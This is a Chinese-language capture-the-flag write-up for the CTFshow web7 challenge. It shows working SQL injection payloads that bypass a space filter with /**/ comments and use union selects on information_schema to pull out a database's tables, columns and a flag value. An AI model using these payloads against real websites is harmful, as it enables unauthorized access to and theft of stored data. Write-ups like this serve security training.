CTFshow-web-web7
打开靶场,显示如下
点击第一篇,发现url中有id=1,可能存在sql注入漏洞
尝试输入id=1 and 1=1#,发现有错误
可能过滤了空格,我们用/**/
代替空格,id=1/**/and/**/1=1# 显示正常,id=1/**/and/**/1=2# 显示异常,判断为数字型注入
尝试联合注入,先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置,输入id=-1/**/union/**/select/**/1,2,3#
回显位置为2,查询当前使用的数据库,输入id=-1/**/union/**/select/**/1,database(),3#
当前使用的数据库是web7,再查询当前数据库的所有表,输入id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3#
发现一个flag表,再查询flag表中的所有字段,输入id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#
发现只有一个flag字段,查询flag表中的flag字段,输入id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
找出flag